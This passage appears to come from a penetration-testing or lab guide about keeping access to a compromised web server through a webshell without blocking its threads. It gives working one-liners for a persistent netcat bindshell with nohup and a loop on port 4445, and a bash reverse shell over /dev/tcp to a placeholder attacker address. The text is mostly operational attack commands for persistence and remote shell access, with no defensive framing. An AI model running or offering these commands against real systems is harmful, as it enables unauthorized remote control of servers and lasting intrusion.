As long as your nc is connected, you block a thread of the web server. Depending on the configuration of the server, it can have 6, 16, 32 threads... This means as many nc in parallel before saturation. To free the server for friends: In the connected nc, choose a second port and launch a second netcat bindshell in the background:
The nohup command will detach the nc process from the current shell. Do a Ctrl-C to cut the nc connection, the page with your webshell will be freed. Another user can connect. Launch a new nc to connect to this new bindshell.
binshell: nohup bash -c 'while true; do nc -e /bin/bash -lvp 4445; done;' &
reverse shell: nohup bash -c 'bash -i >& /dev/tcp/IPKALI/4444 0>&1' &